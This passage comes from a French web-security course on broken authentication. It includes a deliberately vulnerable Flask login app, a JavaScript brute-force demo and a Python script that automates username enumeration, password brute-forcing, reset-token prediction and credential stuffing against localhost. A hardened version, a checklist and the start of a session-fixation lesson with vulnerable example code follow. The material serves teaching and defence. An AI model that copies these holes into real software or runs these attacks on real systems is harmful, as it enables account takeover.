                <input type="text" id="check-username" placeholder="Username">
                <button onclick="checkUserExists()">Check</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Current Session</h3>
            <div id="session-info">Not logged in</div>
            <button onclick="checkSession()">Check Session</button>
            <button onclick="logout()">Logout</button>
        </div>
        
        <div class="card">
            <h3>[FICHIER] Output</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Brute-Force (No Rate Limiting)</h4>
                <p>Unlimited login attempts - try common passwords</p>
                <button onclick="bruteForceSlow()">Brute-Force Attack (Slow Demo)</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Username Enumeration</h4>
                <p>Different error messages reveal if user exists</p>
                <code>Try: "admin" vs "nonexistent_user"</code>
            </div>
            
            <div class="attack-item">
                <h4>3. Weak Passwords</h4>
                <p>Default accounts with weak passwords: 123456, password, qwerty</p>
            </div>
            
            <div class="attack-item">
                <h4>4. Predictable Reset Tokens</h4>
                <p>Reset token = user_id + timestamp (predictable)</p>
                <button onclick="showPredictableTokens()">Show Token Pattern</button>
            </div>
            
            <div class="attack-item">
                <h4>5. Weak Security Questions</h4>
                <p>Answers found on social media: favorite color, city, pet name</p>
            </div>
            
            <div class="attack-item">
                <h4>6. Session Never Expires</h4>
                <p>Sessions valid forever - no timeout</p>
            </div>
            
            <div class="attack-item">
                <h4>7. No Account Lockout</h4>
                <p>Unlimited failed attempts - no blocking</p>
            </div>
        </div>
    </div>
    
    <script>
        async function login() {
            const username = document.getElementById('login-username').value;
            const password = document.getElementById('login-password').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Attempting login...';
            
            try {
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    checkSession();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function register() {
            const username = document.getElementById('reg-username').value;
            const email = document.getElementById('reg-email').value;
            const password = document.getElementById('reg-password').value;
            const security_question = document.getElementById('reg-security-question').value;
            const security_answer = document.getElementById('reg-security-answer').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/register', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ 
                        username, email, password, 
                        security_question, security_answer 
                    })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function forgotPassword() {
            const username = document.getElementById('forgot-username').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/forgot-password', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ username })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.token) {
                    document.getElementById('reset-token').value = data.token;
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function resetPassword() {
            const token = document.getElementById('reset-token').value;
            const password = document.getElementById('new-password').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/reset-password', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ token, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function checkUserExists() {
            const username = document.getElementById('check-username').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/check-user', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ username })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function checkSession() {
            const output = document.getElementById('output');
            const sessionInfo = document.getElementById('session-info');
            
            try {
                const response = await fetch('/api/session', {
                    credentials: 'include'
                });
                
                const data = await response.json();
                
                if (data.authenticated) {
                    sessionInfo.innerHTML = `
                        [OK] Logged in as: <strong>${data.username}</strong><br>
                        Role: ${data.role}<br>
                        Session ID: ${data.session_id || 'N/A'}
                    `;
                } else {
                    sessionInfo.textContent = '[X] Not logged in';
                }
                
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function logout() {
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/logout', {
                    method: 'POST',
                    credentials: 'include'
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                checkSession();
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function bruteForceSlow() {
            const output = document.getElementById('output');
            const passwords = ['123456', 'password', 'qwerty', 'admin', '12345'];
            
            output.textContent = '[OUTIL] Starting brute-force attack (slow demo)...\\n\\n';
            
            for (const pwd of passwords) {
                output.textContent += `Trying: admin / ${pwd}\\n`;
                
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ username: 'admin', password: pwd })
                });
                
                const data = await response.json();
                
                if (data.success) {
                    output.textContent += `\\n[OK] PASSWORD FOUND: ${pwd}\\n`;
                    break;
                }
                
                await new Promise(r => setTimeout(r, 500));
            }
        }
        
        function showPredictableTokens() {
            const output = document.getElementById('output');
            const now = Date.now();
            
            output.textContent = '[DANGER] Predictable Token Pattern:\\n\\n';
            output.textContent += 'Token Format: USER_ID + TIMESTAMP\\n\\n';
            output.textContent += 'Examples:\\n';
            
            for (let i = 1; i <= 5; i++) {
                const token = i + '' + now;
                output.textContent += `User ${i}: ${token}\\n`;
            }
            
            output.textContent += '\\n[ATTENTION] Attacker can guess tokens for all users!';
        }
        
        // Check session on load
        checkSession();
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE : Login
@app.route('/api/login', methods=['POST'])
def login_vulnerable():
    """
    [X] VULNÉRABILITÉS :
    1. Pas de rate limiting
    2. Username enumeration
    3. Pas de lockout
    4. Session sans expiration
    """
    data = request.json
    username = data.get('username', '')
    password = data.get('password', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # Chercher par username OU email
    cursor.execute('''
        SELECT * FROM users WHERE username = ? OR email = ?
    ''', (username, username))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        # [X] ERREUR 1 : Révèle que l'utilisateur n'existe pas
        time.sleep(0.1)  # Simuler traitement
        return jsonify({"error": "User not found"}), 404
    
    # [X] SHA-256 sans salt (facilement crackable)
    hashed = hashlib.sha256(password.encode()).hexdigest()
    
    if user['password'] != hashed:
        # [X] ERREUR 2 : Révèle que le mot de passe est invalide
        time.sleep(0.2)
        return jsonify({"error": "Invalid password"}), 401
    
    # [OK] Authentification réussie
    # [X] ERREUR 3 : Session sans expiration
    session['user_id'] = user['id']
    session['username'] = user['username']
    session['role'] = user['role']
    session.permanent = True  # [X] Permanent = jamais d'expiration
    
    return jsonify({
        "success": True,
        "username": user['username'],
        "role": user['role'],
        "message": "Login successful"
    })

# [X] ROUTE VULNÉRABLE : Register
@app.route('/api/register', methods=['POST'])
def register_vulnerable():
    """
    [X] VULNÉRABILITÉS :
    1. Pas de validation password
    2. Pas de confirmation email
    3. Username enumeration
    """
    data = request.json
    username = data.get('username', '')
    email = data.get('email', '')
    password = data.get('password', '')
    security_question = data.get('security_question', '')
    security_answer = data.get('security_answer', '')
    
    # [X] ERREUR 1 : Pas de validation de password strength
    if len(password) < 1:  # [X] Accepte même 1 caractère !
        return jsonify({"error": "Password too short"}), 400
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    try:
        # [X] SHA-256 sans salt
        hashed = hashlib.sha256(password.encode()).hexdigest()
        
        cursor.execute('''
            INSERT INTO users (username, email, password, security_question, security_answer)
            VALUES (?, ?, ?, ?, ?)
        ''', (username, email, hashed, security_question, security_answer))
        
        conn.commit()
        
        return jsonify({
            "success": True,
            "message": "Registration successful",
            "username": username
        })
        
    except sqlite3.IntegrityError as e:
        # [X] ERREUR 2 : Révèle si username/email existe déjà
        if 'username' in str(e):
            return jsonify({"error": "Username already exists"}), 409
        elif 'email' in str(e):
            return jsonify({"error": "Email already exists"}), 409
        else:
            return jsonify({"error": "Registration failed"}), 500
    finally:
        conn.close()

# [X] ROUTE VULNÉRABLE : Forgot Password
@app.route('/api/forgot-password', methods=['POST'])
def forgot_password_vulnerable():
    """
    [X] VULNÉRABILITÉS :
    1. Token prévisible
    2. Token sans expiration
    3. Token réutilisable
    4. Username enumeration
    """
    data = request.json
    username = data.get('username', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE username = ?', (username,))
    user = cursor.fetchone()
    
    if not user:
        conn.close()
        # [X] ERREUR 1 : Révèle que l'utilisateur n'existe pas
        return jsonify({"error": "User not found"}), 404
    
    # [X] ERREUR 2 : Token PRÉVISIBLE (user_id + timestamp)
    timestamp = int(time.time())
    token = str(user['id']) + str(timestamp)
    
    # [X] ERREUR 3 : Token sans expiration
    cursor.execute('''
        INSERT INTO password_resets (user_id, token)
        VALUES (?, ?)
    ''', (user['id'], token))
    
    conn.commit()
    conn.close()
    
    # [X] En production, envoyer par email, mais ici on le retourne directement
    return jsonify({
        "success": True,
        "message": "Password reset token generated",
        "token": token,  # [X] JAMAIS retourner le token dans la réponse !
        "user_id": user['id']  # [X] JAMAIS révéler le user_id !
    })

# [X] ROUTE VULNÉRABLE : Reset Password
@app.route('/api/reset-password', methods=['POST'])
def reset_password_vulnerable():
    """
    [X] VULNÉRABILITÉS :
    1. Token pas supprimé après usage
    2. Pas de validation password
    """
    data = request.json
    token = data.get('token', '')
    new_password = data.get('password', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] Pas de vérification d'expiration
    cursor.execute('SELECT * FROM password_resets WHERE token = ?', (token,))
    reset = cursor.fetchone()
    
    if not reset:
        conn.close()
        return jsonify({"error": "Invalid token"}), 404
    
    # [X] Pas de validation de password strength
    hashed = hashlib.sha256(new_password.encode()).hexdigest()
    
    cursor.execute('UPDATE users SET password = ? WHERE id = ?', 
                   (hashed, reset['user_id']))
    
    # [X] ERREUR : Token pas supprimé (réutilisable !)
    
    conn.commit()
    conn.close()
    
    return jsonify({
        "success": True,
        "message": "Password reset successful"
    })

# [X] ROUTE VULNÉRABLE : Check User
@app.route('/api/check-user', methods=['POST'])
def check_user_vulnerable():
    """
    [X] Username enumeration directe
    """
    data = request.json
    username = data.get('username', '')
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('SELECT id FROM users WHERE username = ?', (username,))
    user = cursor.fetchone()
    conn.close()
    
    # [X] Révèle directement si l'utilisateur existe
    if user:
        return jsonify({
            "exists": True,
            "message": "User exists"
        })
    else:
        return jsonify({
            "exists": False,
            "message": "User not found"
        })

# Route : Session info
@app.route('/api/session')
def session_info():
    """Informations sur la session"""
    if 'user_id' in session:
        return jsonify({
            "authenticated": True,
            "username": session.get('username'),
            "role": session.get('role'),
            "session_id": session.get('_id', 'N/A')
        })
    else:
        return jsonify({"authenticated": False})

# [X] ROUTE VULNÉRABLE : Logout
@app.route('/api/logout', methods=['POST'])
def logout_vulnerable():
    """
    [X] Session cleared client-side only
    """
    # [X] Session pas invalidée côté serveur
    session.clear()
    
    return jsonify({"message": "Logged out"})

if __name__ == '__main__':
    print("[RAPIDE] Broken Authentication (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  TOUTES les vulnérabilités d'authentification présentes !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Pas de rate limiting (brute-force illimité)")
    print("   2. Username enumeration (messages d'erreur différents)")
    print("   3. Weak passwords acceptés (1 caractère minimum)")
    print("   4. Default credentials (admin:123456, etc.)")
    print("   5. Pas de lockout après échecs")
    print("   6. Token prévisible (user_id + timestamp)")
    print("   7. Token sans expiration")
    print("   8. Token réutilisable")
    print("   9. Session sans expiration")
    print("  10. SHA-256 sans salt")
    print("  11. Weak security questions")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python auth_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test 1 - Login avec default credentials :**

- Username : `admin`
- Password : `123456`
- Cliquer "Login"

**[OK] Succès avec password ultra-faible !**

---

**4. Test 2 - Username Enumeration :**

**Utilisateur existant :**
- Check User : `admin`
- Résultat : `{"exists": true, "message": "User exists"}`

**Utilisateur inexistant :**
- Check User : `nonexistent`
- Résultat : `{"exists": false, "message": "User not found"}`

**[OK] Enumeration réussie !**

---

**5. Test 3 - Brute-Force :**

- Cliquer sur "Brute-Force Attack (Slow Demo)"
- Observe les tentatives illimitées

**[OK] Pas de rate limiting !**

---

**6. Test 4 - Predictable Reset Token :**

- Forgot Password : `admin`
- Résultat : `{"token": "11704567890", "user_id": 1}`

**Token pattern :** `user_id + timestamp`

- Pour user_id 2 : `21704567890`
- Pour user_id 3 : `31704567890`

**[OK] Token prévisible !**

---

**7. Test 5 - Weak Password Registration :**

- Register avec password : `1` (1 seul caractère)
- **[OK] Accepté !**

---

**8. Script d'attaque automatisé :**

```python
# attack_broken_auth.py
import requests
import time

BASE_URL = "http://localhost:5000"

print("=" * 80)
print("BROKEN AUTHENTICATION - AUTOMATED ATTACKS")
print("=" * 80)

# ATTACK 1: Username Enumeration
print("\n1⃣  USERNAME ENUMERATION")
print("-" * 80)

usernames = ["admin", "alice", "bob", "user", "nonexistent", "test"]

for username in usernames:
    response = requests.post(f"{BASE_URL}/api/check-user", 
                            json={"username": username})
    data = response.json()
    
    if data.get("exists"):
        print(f"[OK] User exists: {username}")
    else:
        print(f"[X] User not found: {username}")

# ATTACK 2: Brute-Force
print("\n2⃣  BRUTE-FORCE ATTACK")
print("-" * 80)

passwords = ["123456", "password", "admin", "qwerty", "12345"]

for pwd in passwords:
    response = requests.post(f"{BASE_URL}/api/login",
                            json={"username": "admin", "password": pwd})
    
    if response.status_code == 200:
        print(f"[OK] PASSWORD FOUND: {pwd}")
        break
    else:
        print(f"[X] Failed: {pwd}")

# ATTACK 3: Token Prediction
print("\n3⃣  PREDICTABLE TOKEN ATTACK")
print("-" * 80)

# Request reset for admin
response = requests.post(f"{BASE_URL}/api/forgot-password",
                        json={"username": "admin"})
data = response.json()

if data.get("token"):
    print(f"[OK] Received token: {data['token']}")
    print(f"   User ID revealed: {data['user_id']}")
    
    # Predict tokens for other users
    timestamp = int(data['token'][1:])  # Extract timestamp
    
    print("\n[DANGER] Predicted tokens for other users:")
    for user_id in range(1, 5):
        predicted_token = str(user_id) + str(timestamp)
        print(f"   User {user_id}: {predicted_token}")

# ATTACK 4: Credential Stuffing
print("\n4⃣  CREDENTIAL STUFFING")
print("-" * 80)

leaked_creds = [
    ("admin", "123456"),
    ("alice", "password"),
    ("bob", "qwerty"),
]

for username, password in leaked_creds:
    response = requests.post(f"{BASE_URL}/api/login",
                            json={"username": username, "password": password})
    
    if response.status_code == 200:
        print(f"[OK] Valid credentials: {username}:{password}")
    else:
        print(f"[X] Invalid: {username}:{password}")

print("\n" + "=" * 80)
print("ATTACKS COMPLETED")
print("=" * 80)
```

**Exécuter :**

```bash
python attack_broken_auth.py
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# auth_secure.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import sqlite3
import secrets
import hashlib
from datetime import datetime, timedelta
from collections import defaultdict
import re

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)  # [OK] Secret fort
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)  # [OK] Expiration 1h

CORS(app, supports_credentials=True)

# [OK] Rate Limiting
limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="memory://"
)

# Base de données
DB_FILE = 'users_secure.db'

# [OK] Compteur de tentatives échouées
failed_attempts = defaultdict(list)
MAX_ATTEMPTS = 5
LOCKOUT_DURATION = timedelta(minutes=15)

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            salt TEXT NOT NULL,
            role TEXT DEFAULT 'user',
            locked_until TIMESTAMP,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS password_resets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            token TEXT UNIQUE,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            expires_at TIMESTAMP,
            used BOOLEAN DEFAULT 0
        )
    ''')
    
    conn.commit()
    conn.close()

init_db()

# [OK] VALIDATION

def is_strong_password(password):
    """
    [OK] Valide la force du mot de passe
    """
    if len(password) < 12:
        return False, "Password must be at least 12 characters"
    
    if not re.search(r'[A-Z]', password):
        return False, "Password must contain uppercase letters"
    
    if not re.search(r'[a-z]', password):
        return False, "Password must contain lowercase letters"
    
    if not re.search(r'[0-9]', password):
        return False, "Password must contain numbers"
    
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False, "Password must contain special characters"
    
    # [OK] Vérifier contre liste de mots de passe communs
    common_passwords = ["Password123!", "Welcome123!", "Admin123!"]
    if password in common_passwords:
        return False, "Password is too common"
    
    return True, "OK"

def hash_password(password, salt=None):
    """
    [OK] Hasher avec PBKDF2 + salt
    """
    if salt is None:
        salt = secrets.token_hex(32)
    
    # [OK] PBKDF2 avec 100,000 itérations
    hashed = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode(),
        salt.encode(),
        100000
    )
    
    return hashed.hex(), salt

def is_account_locked(username):
    """
    [OK] Vérifie si le compte est verrouillé
    """
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT locked_until FROM users WHERE username = ?', (username,))
    user = cursor.fetchone()
    conn.close()
    
    if user and user['locked_until']:
        locked_until = datetime.fromisoformat(user['locked_until'])
        
        if datetime.utcnow() < locked_until:
            return True, locked_until
    
    return False, None

def record_failed_attempt(identifier):
    """
    [OK] Enregistre une tentative échouée
    """
    now = datetime.utcnow()
    
    # Nettoyer les anciennes tentatives
    cutoff = now - timedelta(minutes=15)
    failed_attempts[identifier] = [
        t for t in failed_attempts[identifier] if t > cutoff
    ]
    
    # Ajouter la nouvelle tentative
    failed_attempts[identifier].append(now)
    
    # [OK] Vérifier si lockout nécessaire
    if len(failed_attempts[identifier]) >= MAX_ATTEMPTS:
        # Verrouiller le compte
        conn = sqlite3.connect(DB_FILE)
        cursor = conn.cursor()
        
        locked_until = now + LOCKOUT_DURATION
        
        cursor.execute('''
            UPDATE users SET locked_until = ? WHERE username = ?
        ''', (locked_until.isoformat(), identifier))
        
        conn.commit()
        conn.close()
        
        return True
    
    return False

# [OK] ROUTE SÉCURISÉE : Login
@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute")  # [OK] Rate limiting
def login_secure():
    """
    [OK] PROTECTIONS :
    1. Rate limiting
    2. Account lockout
    3. Generic error messages
    4. PBKDF2 + salt
    5. Session expiration
    """
    data = request.json
    username = data.get('username', '').strip()
    password = data.get('password', '')
    
    # [OK] Vérifier si compte verrouillé
    is_locked, locked_until = is_account_locked(username)
    
    if is_locked:
        remaining = (locked_until - datetime.utcnow()).total_seconds() / 60
        return jsonify({
            "error": "Account locked. Try again later.",
            "locked_minutes": int(remaining)
        }), 429
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE username = ? OR email = ?', 
                   (username, username))
    user = cursor.fetchone()
    conn.close()
    
    # [OK] Message d'erreur générique (pas d'enumeration)
    if not user:
        record_failed_attempt(username)
        return jsonify({"error": "Invalid credentials"}), 401
    
    # [OK] Vérifier password avec PBKDF2
    hashed, _ = hash_password(password, user['salt'])
    
    if user['password'] != hashed:
        # [OK] Enregistrer tentative échouée
        locked = record_failed_attempt(username)
        
        if locked:
            return jsonify({
                "error": "Account locked due to multiple failed attempts"
            }), 429
        
        return jsonify({"error": "Invalid credentials"}), 401
    
    # [OK] Reset failed attempts
    if username in failed_attempts:
        failed_attempts[username] = []
    
    # [OK] Clear lockout
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    cursor.execute('UPDATE users SET locked_until = NULL WHERE id = ?', (user['id'],))
    conn.commit()
    conn.close()
    
    # [OK] Session avec expiration
    session.clear()
    session['user_id'] = user['id']
    session['username'] = user['username']
    session['role'] = user['role']
    session.permanent = False  # [OK] Expire selon PERMANENT_SESSION_LIFETIME
    
    return jsonify({
        "success": True,
        "username": user['username'],
        "role": user['role']
    })

# [OK] ROUTE SÉCURISÉE : Register
@app.route('/api/register', methods=['POST'])
@limiter.limit("3 per hour")  # [OK] Limiter les registrations
def register_secure():
    """
    [OK] PROTECTIONS :
    1. Strong password validation
    2. Generic error messages
    3. PBKDF2 + salt
    """
    data = request.json
    username = data.get('username', '').strip()
    email = data.get('email', '').strip().lower()
    password = data.get('password', '')
    
    # [OK] Validation password strength
    is_strong, message = is_strong_password(password)
    
    if not is_strong:
        return jsonify({"error": message}), 400
    
    # [OK] Hash avec PBKDF2 + salt
    hashed, salt = hash_password(password)
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    try:
        cursor.execute('''
            INSERT INTO users (username, email, password, salt)
            VALUES (?, ?, ?, ?)
        ''', (username, email, hashed, salt))
        
        conn.commit()
        
        return jsonify({
            "success": True,
            "message": "Registration successful"
        })
        
    except sqlite3.IntegrityError:
        # [OK] Message générique (pas d'enumeration)
        return jsonify({"error": "Registration failed. Username or email may already exist."}), 409
    finally:
        conn.close()

# [OK] ROUTE SÉCURISÉE : Forgot Password
@app.route('/api/forgot-password', methods=['POST'])
@limiter.limit("3 per hour")
def forgot_password_secure():
    """
    [OK] PROTECTIONS :
    1. Token cryptographiquement sécurisé
    2. Token avec expiration
    3. Generic message (pas d'enumeration)
    """
    data = request.json
    username = data.get('username', '').strip()
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE username = ? OR email = ?', 
                   (username, username))
    user = cursor.fetchone()
    
    # [OK] Toujours retourner le même message
    message = "If the account exists, a reset link has been sent to your email."
    
    if user:
        # [OK] Token cryptographiquement sécurisé
        token = secrets.token_urlsafe(32)
        
        # [OK] Expiration dans 1 heure
        expires_at = datetime.utcnow() + timedelta(hours=1)
        
        cursor.execute('''
            INSERT INTO password_resets (user_id, token, expires_at)
            VALUES (?, ?, ?)
        ''', (user['id'], token, expires_at.isoformat()))
        
        conn.commit()
        
        # [OK] En production, envoyer par email
        # send_reset_email(user['email'], token)
    
    conn.close()
    
    # [OK] Message identique dans tous les cas
    return jsonify({"message": message})

# [OK] ROUTE SÉCURISÉE : Reset Password
@app.route('/api/reset-password', methods=['POST'])
@limiter.limit("5 per hour")
def reset_password_secure():
    """
    [OK] PROTECTIONS :
    1. Token avec expiration
    2. Token usage unique
    3. Strong password validation
    """
    data = request.json
    token = data.get('token', '')
    new_password = data.get('password', '')
    
    # [OK] Validation password
    is_strong, message = is_strong_password(new_password)
    
    if not is_strong:
        return jsonify({"error": message}), 400
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] Vérifier token + expiration + usage
    cursor.execute('''
        SELECT * FROM password_resets 
        WHERE token = ? AND used = 0
    ''', (token,))
    
    reset = cursor.fetchone()
    
    if not reset:
        conn.close()
        return jsonify({"error": "Invalid or expired token"}), 400
    
    # [OK] Vérifier expiration
    expires_at = datetime.fromisoformat(reset['expires_at'])
    
    if datetime.utcnow() > expires_at:
        conn.close()
        return jsonify({"error": "Token has expired"}), 400
    
    # [OK] Hash nouveau password
    hashed, salt = hash_password(new_password)
    
    # [OK] Mettre à jour password
    cursor.execute('''
        UPDATE users SET password = ?, salt = ? WHERE id = ?
    ''', (hashed, salt, reset['user_id']))
    
    # [OK] Marquer token comme utilisé
    cursor.execute('''
        UPDATE password_resets SET used = 1 WHERE id = ?
    ''', (reset['id'],))
    
    conn.commit()
    conn.close()
    
    return jsonify({"message": "Password reset successful"})

# [OK] ROUTE SÉCURISÉE : Session info
@app.route('/api/session')
def session_info_secure():
    """Session info sécurisée"""
    if 'user_id' in session:
        return jsonify({
            "authenticated": True,
            "username": session.get('username'),
            "role": session.get('role')
        })
    else:
        return jsonify({"authenticated": False})

# [OK] ROUTE SÉCURISÉE : Logout
@app.route('/api/logout', methods=['POST'])
def logout_secure():
    """
    [OK] Logout complet
    """
    # [OK] Invalider session côté serveur
    session.clear()
    
    return jsonify({"message": "Logged out successfully"})

if __name__ == '__main__':
    print("[SECURITE]  Broken Authentication SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Rate limiting (5 login attempts/min)")
    print("   2. Account lockout (5 failed -> 15 min lock)")
    print("   3. Generic error messages (no enumeration)")
    print("   4. Strong password requirements (12+ chars)")
    print("   5. PBKDF2 + salt (100,000 iterations)")
    print("   6. Secure tokens (cryptographically random)")
    print("   7. Token expiration (1 hour)")
    print("   8. Token usage tracking (one-time use)")
    print("   9. Session expiration (1 hour)")
    print("  10. HttpOnly, Secure, SameSite cookies")
    
    # [OK] Installer flask-limiter si nécessaire
    try:
        from flask_limiter import Limiter
        app.run(debug=False, port=5001, ssl_context='adhoc')
    except ImportError:
        print("\n[ATTENTION]  Pour le rate limiting, installer : pip install flask-limiter")
        app.run(debug=False, port=5001)
```

**Installer les dépendances :**

```bash
pip install flask-limiter pyOpenSSL
```

---

## [GRAPHIQUE] RÉCAPITULATIF BROKEN AUTHENTICATION

### [OK] Protections essentielles

| Protection | Importance | Implémentation |
|-----------|-----------|----------------|
| Rate limiting | ***** | Flask-Limiter, WAF |
| Account lockout | ***** | 5 failed -> 15 min lock |
| Strong passwords | ***** | 12+ chars, complexity |
| PBKDF2/bcrypt | ***** | 100,000+ iterations |
| Generic errors | ***** | "Invalid credentials" |
| Secure tokens | ***** | `secrets.token_urlsafe()` |
| Token expiration | ***** | 1 hour max |
| Session expiration | ***** | 1 hour idle timeout |
| 2FA | ***** | TOTP, SMS, U2F |
| Monitoring | **** | Log all auth events |

---

### [X] Erreurs critiques

- [X] Pas de rate limiting
- [X] Messages d'erreur révélateurs
- [X] Passwords faibles acceptés
- [X] Hash faible (MD5, SHA-1, SHA-256 sans salt)
- [X] Pas de lockout après échecs
- [X] Tokens prévisibles
- [X] Tokens sans expiration
- [X] Sessions sans expiration
- [X] Default credentials en production

---

### [OBJECTIF] Checklist complète

```python
[OK] Rate limiting (authentification, registration, password reset)
[OK] Account lockout après 5 tentatives
[OK] Messages d'erreur génériques
[OK] Strong password policy (12+ caractères)
[OK] PBKDF2 ou bcrypt (100,000+ iterations)
[OK] Tokens cryptographiquement sécurisés
[OK] Tokens avec expiration (1h max)
[OK] Tokens usage unique
[OK] Sessions avec expiration (1h idle)
[OK] HttpOnly, Secure, SameSite cookies
[OK] 2FA disponible (recommandé)
[OK] Logging de tous les événements d'auth
[OK] Alertes sur activités suspectes
[OK] Pas de default credentials
[OK] Password reset sécurisé
```

---

**Prêt pour Session Fixation ?** [SECURISE]

# 16. SESSION FIXATION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Session Fixation ?

**Définition :**
Attaque permettant à un attaquant de **forcer un utilisateur à utiliser un session ID connu** par l'attaquant. Une fois que la victime s'authentifie avec ce session ID, l'attaquant peut utiliser le même ID pour hijacker la session.

**Analogie simple :**

Imagine un hôtel :
1. L'attaquant crée une clé de chambre (session ID)
2. L'attaquant donne cette clé à la victime
3. La victime utilise cette clé pour s'enregistrer à l'hôtel (login)
4. Maintenant l'attaquant ET la victime ont la même clé
5. L'attaquant peut entrer dans la chambre (compte de la victime) !

---

### Comment fonctionne Session Fixation ?

**Scénario d'attaque :**

```
1. Attaquant visite le site -> obtient session ID = "abc123"

2. Attaquant force la victime à utiliser ce session ID
   Méthodes :
   - URL: https://site.com/login?session=abc123
   - Cookie injection (XSS)
   - Meta tag injection
   - Hidden form field

3. Victime se connecte avec session ID = "abc123"
   -> Le serveur associe "abc123" à la session authentifiée

4. Attaquant utilise session ID = "abc123"
   -> [OK] Accès au compte de la victime !
```

---

### Méthodes de fixation

#### 1. **Via URL Parameter**

**Code vulnérable :**

```python
@app.route('/login')
def login_page():
    # [X] Accepte session ID depuis URL
    session_id = request.args.get('session')
    
    if session_id:
        # [X] Utilise le session ID fourni
        session['id'] = session_id
    
    return render_template('login.html')
```

**Attaque :**

```
1. Attaquant crée un lien piégé :
   https://bank.com/login?session=attacker_known_id

2. Victime clique sur le lien (phishing, email, etc.)

3. Victime se connecte -> session fixée à "attacker_known_id"

4. Attaquant accède avec le même ID
```

---

